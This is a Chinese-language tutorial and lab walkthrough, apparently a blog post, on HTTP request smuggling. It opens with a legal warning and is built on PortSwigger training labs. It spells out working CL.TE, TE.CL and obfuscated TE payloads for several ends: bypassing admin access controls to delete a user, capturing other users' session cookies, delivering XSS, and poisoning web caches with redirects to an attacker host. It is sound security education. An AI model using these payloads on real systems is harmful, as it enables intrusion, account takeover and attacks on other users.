因为爱而分享技术。但不要痴迷于技术,因为理想更大! 如果你同意,请加入我们,凝聚技术人员的力量,真正影响世界!
请注意,在没有明确授权的情况下,不要在互联网上尝试这种攻击,否则是违法的!
如果标题提示,如果你看不懂这篇文章,三连支持没有问题。如果你能掌握, 。在以在靶场练习。这种方法太有害了,一般网站都扛不住。即使我在练习靶场,我也瘫痪了好几次。
一、基础知识
1. 产生背景
将是当前端服务器HTTP当请求转发到后端服务器时,它通常通过相同的后端网络连接发送多个请求,协议非常简单:一个接一个地发送HTTP请求,接收服务器分析HTTP确定一个请求在哪里结束,下一个请求在哪里开始:
在这种情况下,前端和后端系统就请求之间的边界达成一致是非常重要的。否则,攻击者可能会发送不明确的请求,导致前端系统和后端系统对请求的解释不同:
2. 什么是HTTP请求夹带
又名HTTP请求走私是一种干扰网站处理从用户那里接收HTTP要求序列的技术。该技术允许攻击者绕过安全控制,导致未经授权访问敏感数据,并直接伤害应用程序用户。 攻击者的一些前端请求被后端服务器解释为下一个请求的开始。事实上,它优先于下一个正常请求,因此它会干扰应用程序处理正常请求的方式。通常会造成毁灭性的后果。
3. 漏洞产生原因
- 标准数据包结束的标头标志
- Content-Length
报头的内容长度非常简单:以字节为单位指定消息体的长度。
报文长度经常出现问题,建议使用Burp插件HTTP Request Smuggler自动处理。 最方便的方法是完全粘贴报纸
Sublime Text文本编辑器
如果末尾有空行,别忘了补充。选择时可以直接查看字符数。
换行用0d0a,
2
个字节表示 换行分别用0a和0d,1
个字节表示
POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 13 q=smuggling
- Transfer-Encoding
用于指定数据包文本的块编码。这意味着新闻文本包含一个或多个数据块。每个块由字节单位的块大小(表示为16进制)、跟踪行符和下一个块内容组成。该消息以零大小块终止。
长度表示与CL请注意购买括号中的文字。
POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b (16进制6,代表每一块chunck长11位) q=smuggling (字符串11字节长,不要加2哈CL不同)、 0 (遇0 chunck结束)
- 如果两个标头同时存在于一个数据包中
HTTP规范:如果同时存在Content-Length和Transfer-Ending应忽略标头Content-Length为了防止这个问题,标头。
后端服务器的实际情况如下:
- 有些服务器不支持请求Transfer-Ending标头。
- 如果传输编码标头以某种方式混淆,一些支持传输编码标头的服务器可能无法处理。
如果前端服务器和后端服务器在传输和后端服务器的处理方法不同,则连续请求之间的边界存在差异,导致请求走私漏洞。
二、漏洞原理分析
要求走私攻击涉及将军Content-length
标头和Transfer-Encoding
同一个标头HTTP为了以不同的方式处理前端服务器和后端服务器。具体的实现方式取决于两个服务器的行为: CL.TE:使用前端服务器Content-length
,使用后端服务器Transfer-Encoding
头部。 TE.CL:使用前端服务器Transfer-Encodin
使用头部和后端服务器Content-length
头部。 TE.TE:支持前端和后端服务器Transfer-Encodin
报头可以通过混淆报头来诱导其中一个服务器不处理它。
1. CL.TE利用
front-end: Contnt-Length
back-end: Transfer-Encoding
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 (3字节) (2字节) SMUGGLED (8字节,最后2个空字节不加)
前端服务器处理Contnt-Length,长度为13 涵盖了所有bady数据(空行4字节) 后端服务器处理Transfer-Encoding,处理第一块时,该块声明为零长,因此被视为终止请求。SMUGGLED,后端服务器将遗留字节作为下一个请求的开始
SMUGGLEDPOST / HTTP/1.1 Host: vulnerable-website.com ...
例题 1
2. TE.CL利用
front-end: Transfer-Encoding
back-end: Contnt-Length
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3 (CT声明报文正文长度) Transfer-Encoding: chunked 8 (声明第一块8字节长) SMUGGLED (第一块内容) 0 (第二块声明长度为0) (\r\n空行) (\r\n空行)
注意点:
- Burp软件中 “Update Content-Length” ,请关闭。
- 在0后要输入
\r\n\r\n
burp这意味着0后加两个空行
前端服务器处理TE因此,标头将报文正文视为分块编码。它处理第一个数据块,声明为8字节长,内容为SMUGGLED是的。第二块被声明为0长,因此被视为终止请求。该请求被转发到后端服务器。 后端服务器处理Content-Long报头确定请求文本为3字节长(文本内容为8\r\n\r\n
共占3字节)。后面的字节SMUGGLED\r\n\r\n0\r\n\r\n
后端服务器将这些字节视为下一个请求的开始。
例题2
3. 混淆TE报头(TE.TE漏洞)
front-end、back-end都支持Transfer-Encoding
,但以某种方式影响其中一种,使其不处理Transfer-Encoding
Transfer-Encoding: xchunked Transfer-Encoding : chunked Tranfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
在实际系统中,很少绝对精确地遵守网络规范,系统通常会容忍与规范不同的变化。要发现TE.TE漏洞。
需要找到Transfer-Ending标头的某些变体,造成只有一台前端或后端服务器处理它,而另一台服务器忽略它。
例题 3
三、 如何识别HTTP夹带漏洞
1. 利用事件延迟技术
要首先验证CL.TE,排除后再验证TE.CL,否则产生其他影响。
1.利用时间延迟发现CL.TE漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4 13
(引起事件延迟的代码) (漏洞利用的代码)
1 0
A
X SMUGGLED
前端服务器使用Content-Length报头,只转发此请求的一部分,省略X。后端服务器使用Transfer-Ending报头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟。
2. 利用时间延迟发现TE.CL漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
前端服务器使用Transfer-Encoding标头,因此它将只转发此请求的一部分,省略X。后端服务器使用Content-Length标头,等待其余内容到达。这将导致明显的时间延迟。
2. 利用不同响应确认
当疑似有请求走私漏洞时,可以通过利用该漏洞来触发应用程序响应的内容差异,从而获得该漏洞的进一步证据。这包括快速连续地向应用程序发送两个请求:
- 特定攻击包,干扰下一个请求正常处理(根据CL.TE\TE.CL选用不同)
- 正常请求
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
1. CL.TE
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果攻击成功,则后端服务器会将该请求的最后两行视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含无效的URL,因此服务器将使用状态代码404进行响应,表名干扰成功,漏洞存在
例题4
2. TE.CL
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
如果攻击成功,则从GET/404开始的所有内容都会被后端服务器视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
例题5
三、漏洞利用
1. 利用请求走私绕过前端安全控制
在某些应用程序中,前端Web服务器用于实现一些安全控制,通过验证的单个请求被转发到后端服务器,未通过的被过滤掉。 假设应用程序使用前端服务器来实现访问控制限制,只有在授权用户访问所请求的URL时才转发请求。而后端服务器接受每个请求,无需进一步检查。在这种情况下,可以使用HTTP请求走私漏洞绕过访问控制。
假设允许当前用户访问/home,但不允许访问/admin。他们可以使用以下请求走私攻击绕过此限制:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
例题 6、7
2. 前端服务器对请求包的修改
许多应用程序中,前端服务器在请求转发到后端服务器之前执行一些重写,通常是通过添加额外的请求头。例如:
- 终止TLS连接并添加一些描述协议和密码的报头;
- 添加包含用户IP地址的X-Forwarded-For报头;
- 根据用户的会话令牌确定用户的ID,并添加标识用户的报头;
- 添加一些敏感信息。
如果走私请求缺少这些临时添加的头部,则后端服务器不会以正常方式处理请求,从而导致走私请求无法达到预期效果。
获得经修改的请求,需要执行以下步骤:
- 查找满足要求的POST请求:请求参数值要反映到应用程序响应中。
- 调整参数,使该参数出现在报文BODY的最后。
- 通过请求走私,发送到后端服务器,成功时经前端修改的普通请求会出现在响应中。
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
响应中包括: <input id="email" value="wiener@normal-user.net" type="text">
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100 (注意这个长度,你不知道有多长,慢慢增加,直到获得所需信息)
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
例题8
3. 绕过客户端授权
作为TLS握手的一部分,服务器提供证书给客户端(通常是浏览器)来验证自身。该证书包含它们的“通用名称”(CN),它应该与它们注册的主机名匹配。然后,客户端可以使用这一点来验证它们是否正在与合法服务器对话。有些站点更进一步,实现了一种相互的TLS身份验证形式。 客户端还必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名等,例如,可以作为访问控制机制的一部分在后端应用程序逻辑中使用。
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
由于这些标头对用户完全隐藏,因此受到后端服务器的默认信任。假设能够发送正确的头和值组合,就能够绕过访问控制。 在实践中,因为前端服务器往往会覆盖这些标头。但是通过请求走私,包含的任何标头都将原封不动地发送到后端。
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator (此处即为攻击荷载)
Foo: x
4. 捕获其他用户的请求
这个利用点与上述“2. 前端服务器对请求包的修改”非常类似
如果应用程序允许存储和检索文本数据的相关功能,则可以使用HTTP请求走私来捕获其他用户请求的内容。这些攻击可能包括会话令牌、启用会话劫持攻击或用户提交的其他敏感数据。适合用作此攻击工具的功能包括评论、电子邮件、配置文件描述等。 要执行攻击,需要走私一个向存储函数提交数据的请求,其中请求数据的参数位于请求的最后。后端服务器处理的下一个请求将被附加到走私的请求中。
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
得到的结果如下:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
一个限制是,通常只捕获数据,直到适用于走私请求的参数分隔符
&
。对于URL编码的表单提交,这意味着从受害用户的请求存储的内容将在第一个&结束,或可能出现在查询字符串中。 导致获取数据不全,遇到&会自动判定截止。
例题9
5. 请求走私利用反射性XSS
如果应用程序存在HTTP请求走私的攻击漏洞,并且还包含反射的XSS,则可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在两个方面优于正常利用反射的XSS:
- 不需要与受害者用户交互。不需提供URL,等待他们访问。只需走私一个包含XSS有效负载的请求,由后端服务器处理的下一个用户请求将被击中。
- 可以利用请求的某些部分中的XSS行为,这些部分在正常的反射XSS攻击中无法控制,例如HTTP请求头。 (扩大了XSS可以利用点)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
例题10
6. 使用HTTP请求走私将现场重定向转换为开放重定向
许多应用程序执行一个URL到另一个URL的现场重定向,并将请求的主机标头中的主机名放入重定向URL。这方面的一个示例是Apache和IIS Web服务器的默认行为,在这种情况下,对不带尾随斜杠的文件夹的请求会收到到相同文件夹的重定向,附带尾随斜杠:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
如上所示可以构造请求走私攻击荷载
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
造成的结果是
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
用户的请求的页面要导入的JavaScript文件。攻击者可以通过在响应中返回他们自己的JavaScript来完全危害受攻击用户。
7. 利用HTTP请求走私来执行Web缓存中毒
这是利用6的攻击的一种危害更大的变种
利用HTTP请求走私来执行Web缓存中毒攻击。如果前端基础架构的任何部分执行内容缓存(通常出于性能原因),则可能会使用异地重定向响应来毒化缓存。这将使攻击持续存在,从而影响随后请求受影响URL的任何用户。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私的请求到达后端服务器,后端服务器像以前一样使用异地重定向进行响应。前端服务器会将第二个URL缓存的有毒缓存进行响应,该URL为/Static/includde.js:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
例题11
8. 利用HTTP请求走私进行Web缓存欺骗
可以利用HTTP请求走私来执行Web缓存欺骗。这与Web缓存中毒攻击的工作方式类似,但目的不同。 这个技巧在实际中不太还是用,下面会说明原因
- 在中,攻击者使应用程序在缓存中存储一些恶意内容,这些内容
从缓存提供给其他应用程序用户
。 - 在中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后
攻击者从缓存中检索这些内容
。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
下一个用户的请求包被追加到后面。走私数据包与受害用户的正常请求合并在了一起
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应此请求。请求中的URL用于用户的私人消息,并且该请求在受害用户会话的上下文中进行处理。前端服务器根据它认为是第二个请求中的URL的URL缓存此响应,该URL为/static/some-image.png
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
攻击者访问静态URL,得到缓存返回的敏感内容。
注意:攻击者不知道缓存敏感内容的URL,因为这是受害者用户在走私请求生效时碰巧请求的URL。攻击者可能需要获取大量静态URL才能发现 。
例题12
四、漏洞实例
1. 基本CL.TE漏洞(HTTP request smuggling, basic CL.TE vulnerability)
使后端服务器,接收到方法为GPOST
的数据包 前端服务器仅接受GET``POST
方法,不支持chunked encoding
-
- 原始数据包
GET / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Cookie: session=odOxTPDSOPiYAj9SNXvvGCA4Trv1KohD
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
- 根据题目条件改造为请求走私攻击数据包,注意保留的表头和值
POST / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
0
G
发送两次数据包,看到响应
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 27
"Unrecognized method GPOST"
2. 基本TE.CL漏洞 (HTTP request smuggling, basic TE.CL vulnerability)
使后端服务器,接收到方法为GPOST
的数据包 前端服务器仅接受GET``POST
方法, 后端服务器不支持chunked encoding
-
- 首页原始数据包
GET / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Cookie: session=5vbjnInq85UmYPpM2yxkgEva0s2XOSNw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
- 根据题目条件改造为请求走私攻击数据包,注意保留的表头和值
POST / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=2
0
tips:
- 为什么要是5c(16进驻,转换为10进制为92) 因为后面从G到x=2末尾看HEX一共是92个字节。

- 后一个CL为什么是15,因为从x到最后是15位

3. 混淆TE报头(HTTP request smuggling, obfuscating the TE header)
使后端服务器,接收到方法为GPOST
的数据包 前端服务器仅接受GET``POST
方法,
-
- 根据题目信息构造双TE
POST / HTTP/1.1
Host: ac861f6c1f784f10c05d835f00d700bd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4 (正文长度2~4均可,5c此行长度为2)
Transfer-Encoding: chunked
Transfer-Encoding: x (此行经测试只要不是正常chunked均可行)
5c (16进制为92字节,代表后续chunked块大小为92,见附图1)
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15 (正文长度为10~20均可,x=1 0最少含一个末尾空行的总长度 )
x=1
0
(注意这是第一个空行)
(注意这是第二个空行)

4. 通过差异响应确认CL.TE漏洞(HTTP request smuggling, confirming a CL.TE vulnerability via differential responses)
使后端服务器,接收到路径为/404
响应 前端服务器不支持chunck
POST / HTTP/1.1
Host: aced1ff61fbf8835c0db363e00c7009b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
5. 通过差异响应确认TE.CL漏洞(HTTP request smuggling, confirming a TE.CL vulnerability via differential responses)
使后端服务器,接收到路径为/404
响应 后端服务器不支持chunck
POST / HTTP/1.1
Host: ac351f0c1e55b187c00d21ab007c000f.web-security-academy.net
Cookie: session=pdyE4sezAIBOprQKtMYpdJVAhJUbL0ET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
6. 用HTTP请求走私绕过前端安全控制,CL.TE漏洞(Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability)
绕过前端服务器限制,访问/admin
删除用户carlos 前端服务器不支持chunck
-
- 这道题开始有点意思了。根据题目提示CL.TE构造常用攻击包
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
- 连续点击发送两回,发现响应包中提示
Admin interface only available to local users
- 调整Host值为localhost,即可访问/admin页面
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
- 页面点击删除carlos按钮,获取链接。会发现别的方式均不成功。
尝试修改攻击包,在body中直接使用删除carlos的连接,一步到位。成功
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
7. 利用HTTP请求走私绕过前端安全控制TE.CL漏洞(Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability)
绕过前端服务器限制,访问/admin
删除用户carlos 后端服务器不支持chunck
与上题思路完全一致,仅是TE.CL的区别,直接上攻击包
POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
6c
POST /admin HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
0
获取删除连接后,直接更换URL
POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4 (3也可以)
Transfer-Encoding: chunked
87 (这个长度,可以采用前文介绍的使用sublime text方式,快速准确)
GET /admin/delete?username=carlos HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10 (随意了10-15 只要能包括整个body就行)
x=1
0
8. 利用HTTP请求走私揭示前端请求重写(Exploiting HTTP request smuggling to reveal front-end request rewriting)
绕过前端服务器限制,访问/admin
(允许127.0.0.1访问) 删除用户carlos 前端服务器会重写请求包。增加传递的IP地址
该靶场整个思路比较完整
- 寻找合适的post数据包(参数能在响应中会显出来),search即可
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124 (该值利用Burp自动更新即可)
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
<section class=blog-header>
<h1>0 search results for 'testPOST / HTTP/1.1
X-FwmRJA-Ip: 120.245.96.65
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-'</h1>
<hr>
</section>
发现特殊报头`X-FwmRJA-Ip: 120.245.96.65`
- 增加特殊报头,IP为127.0.0.1
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
- 直接访问删除路径
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
9. 利用HTTP请求走私来捕获其他用户的请求 (Exploiting HTTP request smuggling to capture other users’ requests)
窃取其他用户数据包,使用得到的cookies,登陆其账户 前端服务器不支持chunked encoding
-
- 寻找类似留言的功能区,拦截数据包,修改位置,是否能正常触发留言,验证无问题
- 构造请求走私攻击包
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token
csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
- 反复发送机会,反复刷新文章页,查看留言,发现能显示受害用户的数据包,但不全
- 逐渐增大第二个包(走私包)的CL
CL数值,不能太小,数据包会截断。不能长,否则第二次发送,会报超时错误。所以得逐渐增大。最终找到最精确的大小
POST / HTTP/1.1
Host: ac031f531f8d7595c0540c16001c00ca.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=HlQN25yrPKwTAuxc7Lut7wGfvqWy28Dv
Content-Type: application/x-www-form-urlencoded
Content-Length: 845
csrf=2glELqVZxInWRYmUrXiozfsmvWJ9ucEb&postId=6&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=comment+2
页面显示效果
- 点击登录页面,拦截数据包,直接更换session,要保持csrf与测试时一致。成功
10. 利用HTTP请求走私来传递反射的XSS (Exploiting HTTP request smuggling to deliver reflected XSS)
使下一个访问的受害用户执行alert(1) 前端服务器不支持chunked encoding
User-Agent处存在XSS攻击点
-
- 非常明确使用攻击包如下
POST / HTTP/1.1
Host: ac881f5b1e50b164c02e036e0013000d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
